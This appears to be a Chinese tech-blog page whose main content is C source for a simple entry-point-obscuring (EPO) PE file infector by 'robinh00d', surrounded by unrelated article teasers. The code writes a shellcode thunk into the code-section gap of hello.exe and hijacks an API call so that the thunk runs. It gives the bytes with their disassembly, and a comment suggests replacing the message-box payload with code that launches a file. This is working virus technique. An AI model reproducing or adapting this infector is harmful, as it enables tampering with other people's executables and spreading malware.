用C实现简单的EPO

linux下Epoll实现简单的C/S通信 <br />epoll的优点:<br />1.支持一个进程打开大数目的socket描述符(FD)<br />    select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据 阅读详情

//:::从代码节开始搜索,替换第一个发现的call api的指令
//:::把目标代码插入代码节的尾部
//:::代码仅供演示之用,没有做过多的错误处理
//:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)
//:::coded by robinh00d
//:::robinh00d_at_163.com
//:::编译:cl epo.c
/*
要插入的反汇编代码thunk code:
00401006    .   60                   PUSHAD
00401007    .   9C                   PUSHFD
00401008    .   E8 00000000          CALL msg.0040100D
0040100D    $   5B                   POP EBX
0040100E    .   81EB 0D104000        SUB EBX,msg.0040100D
00401014    .   6A 00                PUSH 0
00401016    .   8D83 30104000        LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C    .   50                   PUSH EAX
0040101D    .   50                   PUSH EAX
0040101E    .   6A 00                PUSH 0
00401020    .   B8 78563412          MOV EAX,12345678             ;这里感染前会被替换成正确的MessageBoxA的地址
00401025    .   FFD0                 CALL EAX
00401027    .   9D                   POPFD
00401028    .   61                   POPAD
00401029    .   FF25 3A104000        JMP DWORD PTR DS:[40103A]    ;跳到API
0040102F       90                   NOP
00401030    .   72 6F 62 69 6E 68 3>ASCII "robinh00d",0
*/
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = ".//hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "/x60/x9c/xe8/x00/x00/x00/x00/x5b"
                             "/x81/xeb/x0d/x10/x40/x00/x6a/x00"
                             "/x8d/x83/x30/x10/x40/x00/x50/x50"
                             "/x6a/x00/xb8/x78/x56/x34/x12/xff"
                             "/xd0/x9d/x61/xff/x25/x3a/x10/x40"
                             "/x00/x90/x72/x6f/x62/x69/x6e/x68"
                             "/x30/x30/x64/x00" ;

int main()
{
     HANDLE hFile ;
     HANDLE hMap ;
     LPVOID pMapping ;
     DWORD dwGapSize ;
     unsigned char *pGapEntry ;
     int i ;
     PROC MsgBox ;
     DWORD OldEntry ;
     int x = 0x18 ;
     int vir_len ;
     unsigned char *pSearch ;
     DWORD *dwCallNextAddr ;
     DWORD *dwCallDataOffset ;
     DWORD *dwCallDataAddr ;
     DWORD dwCallData ;
     DWORD dwCodeDistance ;
     DWORD *dwJmpAddr ;
     DWORD dwJmpData ;
     DWORD dwJmpVA ;

     //:::
     hFile = CreateFile(szHostFile,
                         FILE_ALL_ACCESS,
                         FILE_SHARE_READ,
                         NULL,
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         NULL) ;
                        
     if (hFile==-1)
     {
         printf("Open host file failed!/n") ;
         return -1 ;
     }
    
     hMap = CreateFileMapping(hFile,
                             NULL,
                             PAGE_READWRITE,
                             0,
                             0,
                             NULL) ;
     if (!hMap)
     {
         printf("Create file mapping falied!/n") ;
         return -1 ;
     }
    
     pMapping = MapViewOfFile(hMap,
                         FILE_MAP_ALL_ACCESS,
                         0,
                         0,
                         0) ;
     if (!pMapping)
     {
         printf("Map view of file failed!/n") ;
         return -1 ;
     }
    
     //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
     pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
     if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
     {
         pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
         if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
         {
             //:::是合法的PE文件
             //:::定位到节表头
             pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                             pImageDosHeader->e_lfanew+
                                                             sizeof(IMAGE_NT_HEADERS)) ;
             //:::计算第一个节的空隙大小
             dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
             //:::如果代码缝隙小于thunk code的大小则感染失败
             if (sizeof(thunkcode)>dwGapSize)
             {
                 printf("no more space to fill!/n") ;
                 goto Close ;
                
             }
             //:::定位到代码末尾
             pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                             (DWORD)pMapping+
                                             pImageSectionHeader->Misc.VirtualSize) ;
            
             OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                         pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

             MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

             //修改为当前系统的MessageBoxA地址
             for (i=3;i>=0;i--)
             {
                 thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                 x -= 8 ;
             }
             x = 24 ;
            
             vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
             pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                         (DWORD)pMapping) ;
                        
             //:::搜索call指令(0xe8)
             for (i=0;i<vir_len;i++)
             {
                 if (pSearch[i]==0xe8)
                 {
                     //:::call指令操作数地址
                     dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                     //:::call下条指令地址
                     dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                     //:::jmp指令地址
                     dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                     //:::Jmp指令在内存的虚拟地址VA
                     dwJmpVA = (DWORD)dwJmpAddr-
                                 ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                 pImageNtHeaders->OptionalHeader.ImageBase+
                                 pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                     //:::取jmp操作数,返回的时候使用
                     dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                     if ((*dwJmpAddr&0xffff)==0x25ff)
                     {
                         //:::修改call操作数
                         dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                         *dwCallDataAddr = dwCodeDistance ;
                         //:::原jmp里的操作数,替换到thunk code的末尾
                         for (i=3;i>=0;i--)
                         {
                             thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                             x -= 8 ;
                         }
                         //把thunk code写入目标宿主程序
                         for (i=0;i<sizeof(thunkcode);i++)
                         {
                             pGapEntry[i] = thunkcode[i] ;
                         }
                         break ;
                     }
                 }
                
             }
            
         }
     }
     else
     {
         printf("Invalid file format!/n") ;
     }
     Close:
     UnmapViewOfFile(pMapping) ;
     CloseHandle(hMap) ;
     CloseHandle(hFile) ;
    
     return 0 ;
}

帝企鹅优化器(EPO)详解:从基础原理到代码实战 帝企鹅优化器(EPO)是受帝企鹅群体在极寒环境中抱团取暖行为启发,于2018年提出的一种群体智能优化算法。其核心机制是模拟帝企鹅种群通过动态调整位置来维持体温的过程,主要包括确定集群边界、计算温度分布、衡量个体间距离以及更新位置四个步骤,从而在求解复杂优化问题时有效平衡全局探索与局部开发。该算法具有参数少、结构清晰、易于实现等优点,在工程优化、图像处理、机器学习特征选择以及冷链物流车辆路径规划等领域展现出良好的应用潜力。 阅读详情

相关推荐

McAfee EPO 4.0 安装部署实战指南完整版

安装向导允许更改默认HTTPS端口(8443),常见替代值包括:443— 标准HTTPS端口,便于绕过防火墙限制8444— 多实例共存时区分用途标准监控视图虽能满足基本需求,但在大型组织中,不同角色需要关注不同的KPI。ePO 允许管理员创建多个自定义仪表板(Custom Dashboards),并分配给特定用户组。常见的关键绩效指标包括:KPI名称计算方式监控意义终端覆盖率已安装Agent设备数 / 总资产清单数 × 100%衡量部署完整性。

weixin_29009401的博客 1105

Anti-VAR-EPO特异性抗体:精准识别基因多态性,助力兴奋剂检测

受北京兴奋剂检测实验室委托,北京义翘神州科技股份公司成功开发出高亲和力Anti-VAR-EPO兔单克隆抗体,为全球反兴奋剂检测提供了精准识别VAR-EPO的关键工具,确保检测结果不被基因多态性干扰。

北京义翘神州官方账号 850

SAP(ERP)工艺路线(Routing)业务视角解析

工艺路线(Routing)也是PP模块,即生产制造模块中最重要核心主数据之一,也是ERP(SAP)顾问,必需从业务与系统深入掌握的重要主数据,它也是整个生产计划与生产流程的重要基础。因为执行步骤只是操作层面的认知,业务顾问需要从业务本质上去理解它,要真正从业务视角理解工艺路线的业务价值,而不仅仅是操作层面的认知。因此将工艺路线理解为“有以上业务本质的理解,然后进到SAP系统中,就容易理解工艺路线(Routing)的每一组成部分结构与功能了,本质就是理解制造企业如何将设计意图转化为物理现实的编码规则。

m0_45197968的博客 1503

收集清单后无法在ePO中看到清单

收集清单后无法在ePO中看到清单 点击fetch,任务显示已完成,但仍然显示清单提取状态为尚未提取,多次运行提取,服务器任务仍然显示已成功,但清单状态不变,事实上也没有显示这台机器上的清单 已确认: 本地cli已经lockdown,即使unso之后再次提取仍然显示提取成功,但没有清单 TS: 1. 确认问题,究竟是在客户端没有收集到inventory还是没有成功发送至ePO 在客户端尝试手动...

xinyouliang的专栏 336

MATLAB闪退别慌!5分钟搞定Windows系统预设文件修复(附详细截图)

本文针对MATLAB在Windows系统下频繁闪退的问题,提供了快速有效的解决方案。核心在于修复或重置损坏的MATLAB预设文件,通过图文并茂的五步法,指导用户定位AppData目录、重命名预设文件夹,从而让MATLAB自动生成全新配置以解决闪退。文章还涵盖了问题诊断、设置备份及进阶排查方法,帮助用户彻底根除启动故障。

weixin_29234423的博客 928

OpenClaw 多机器人多 Agent 模式:打造你的 AI 助手团队

OpenClaw多Agent模式为企业提供高效的AI助手团队解决方案。通过创建4个独立的飞书机器人(主助理、内容创作、技术开发、AI资讯),每个连接专属Gateway和Agent模型(如Claude Opus/Sonnet、Gemini 2.5),实现专业分工。相比单Agent模式,多Gateway架构具有配置清晰、互不干扰、无需手动切换等优势。系统采用Profile隔离机制,各Agent拥有独立配置和端口。部署过程包括创建机器人应用、配置Agent、运行自动化脚本等步骤,支持私聊或群组@使用。日常提供状态

Maynor的博客 5104

【智能算法】帝企鹅优化算法(EPO)原理及实现

EPO模拟了帝企鹅在寒冷冬季的聚集行为,群体通过产生热量来维持温暖。每个帝企鹅个体都会朝着群体中温度较高的方向移动,并寻找到达温度最高处的最优位置。在移动过程中,每个帝企鹅个体会根据自身与最优位置的距离进行调整,并不断更新最优位置,以此实现群体内个体的优化移动和位置更新。其中,P,Pep分别表述最优个体位置和个体当前位置。A,C是避免相邻个体间碰撞的向量参数,S表示帝企鹅群体最优个体方向移动趋势。其中,k为当前迭代次数,R表述个体距离拥挤群体中心的半径。

Logic_9527的博客 2124

硬件电路设计采集电路

摘要:采集电路是硬件设计中连接物理世界与数字系统的关键环节,主要用于将温度、压力等物理量转换为电信号。常见的采集电路包括模拟量采集(如温度、电压)、数字量采集(如开关状态)和特殊信号采集(如光、声音)。设计时需重点关注传感器选型、信号调理、电源接地、抗干扰和ADC配置等核心要素,确保信号链路的完整性和稳定性。合理的电路设计需结合具体应用场景,通过仿真和测试验证性能,最终实现精确可靠的数据采集。

qq_37999850的博客 1799

安装McAfee EPO 5.10.0

安装McAfee EPO(踩的坑超级多)哭唧唧安装前准备安装环境:新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导...

LIMY_hm的博客 5339

验证 helm Chart 的正确性

验证 helm Chart 的正确性

小橙子的笔记屋 281

PLC为西门子的S7-1200,舵机为 DS3218,PLC控制舵机旋转程序实现?

🏆 本文收录于《全栈Bug调优(实战版)》专栏,致力于分享我在项目实战过程中遇到的各类Bug及其原因,并提供切实有效的解决方案。无论你是初学者还是经验丰富的开发者,本文将为你指引出一条更高效的Bug修复之路,助你早日登顶,迈向财富自由的梦想🚀!同时,欢迎大家关注、收藏、订阅本专栏,更多精彩内容正在持续更新中。让我们一起进步,Up!Up!Up!    备注: 部分问题/难题源自互联网,经过精心筛选和整理,结合数位十多年大厂实战经验资深大佬经验总结所得,数条可行方案供所需之人参考。

**My Coding Family** 1000

McAfee EPO4.6的迁移和升级

  由于公司EPO服务器使用的是2003系统,太过老旧且EPO5.0开始不再支持2003的系统。于是考虑把EPO迁移和升级,本想一步到位直接使用2012系统,因其他应用的限制放弃,不过2008R2以后也可以直接升到2012。   迁移步骤: 一、备份   1、备份文件    C:\Program Files\McAfee\ePolicy Orchestr...

weixin_34378045的博客 1008

LVGL 拨盘菜单(Dial Menu)

h。

摸鱼专家 195

ePO从32位系统迁移至64位系统

epo目前大多运行在32位系统上,现在windows大力推行2008,在不久就会废除2003.所以ePO要迁移至64位系统是势在必行。废话少说,开工。 准备64为系统的Server一台,推荐windows 2008 R2企业版。 内存4G ,cpu就看着办 别太落伍就行。 一、 备份在32位操作系统上数据库和ePO相关文件 1、停止ePO服务,将下面3个ePO服务停止。...

weixin_34255793的博客 339

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Training homework by myself - ePO/ENS/MA

Training-1020 ePO ePO 3个服务: Tomcat&gt;8443&gt;占用内存最多1-3GB&gt;log记录在apsvr和orion,可以查看system event log Apache&gt;客户端通信&gt;同时可以处理250-6=244个通信(涉及到性能与客户端的关系) 加一个AH就相当于加了一个Apache(244点连接数) If(客户端多于5...

xinyouliang的专栏 531

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Mcafee epo4.0安装布署及基本配置

这两天研究了一下epo4.0+mcafee8.7i,发现这方面的资料还是比较少,尤其是中文的,所以把自己这几天的心得写出来,和大家分享一下,也请大家多多指教。 本次测试使用的环境是Windows server 2003 enterprise Sp2 x32虚机一台和Windows Xp Sp3虚机一台。数据库为了方便就使用了epo4.0自带的 SQL Server 200...

weixin_34400525的博客 517

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

如何卸载&重装ePO Agent。

最近做了ePO的迁移和升级,不知何故ePO Agent连接部署ePOServer。无奈 重装Agent。卸载Agent中的曲折不废话了,下面开工。 1、在客户端打开运行,“浏览--"C:\Program Files\McAfee\Common Framework\FrmInst.exe"”,然后后面加上“ /forceuninstall” 开始卸载。 然后,一流下一步...

weixin_33774883的博客 836

EPO+插缝植入用户自定义代码的一种方法

EPO+插缝植入用户自定义代码的一种方法 2008-10-04 19:45 以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 846

epo.c

//////////////    !!VC6.0下未通过编译 by xiao //:::从代码节开始搜索,替换第一个发现的call api的指令 //:::把目标代码插入代码节的尾部 //:::代码仅供演示之用,没有做过多的错误处理 //:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿) //:::coded by robinh00d /

生活在别处 868

C语言实现的 inline hook

这是看雪上的一篇文章。原题叫做C语言实现的EPO不过我觉得叫inline hook更合适。动手实践了一遍虽然中间有点小波折但是最终成功了。我作了更多的注释以便理解,尤其是 PE 的call jmp 特性开始不清楚导致没能明白跳转回原来的api的真实地址。希望对有兴趣的人有帮助。vc6.0完成后最好能动态调试一下,会有惊喜发现。main()函数找来找去我才找到的。 不只是什么原因360...

abcd8080的博客 390

McAfee ePolicy Orchestrator(EPO)v4.5

2705334-NAI (大企业号,Mcafee EPO等软件) 官方中文登录页面: https://secure.nai.com/apps/downloads/my_products/login.asp?region=cn&segment=enterprise ePolicy Orchestrator序列号: HT8X8-UKQ...

weixin_33890526的博客 683
上一篇: 2008年17款远程控制软件大比拼
下一篇: 2008年过卡巴9.0主动防御的最新技巧
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值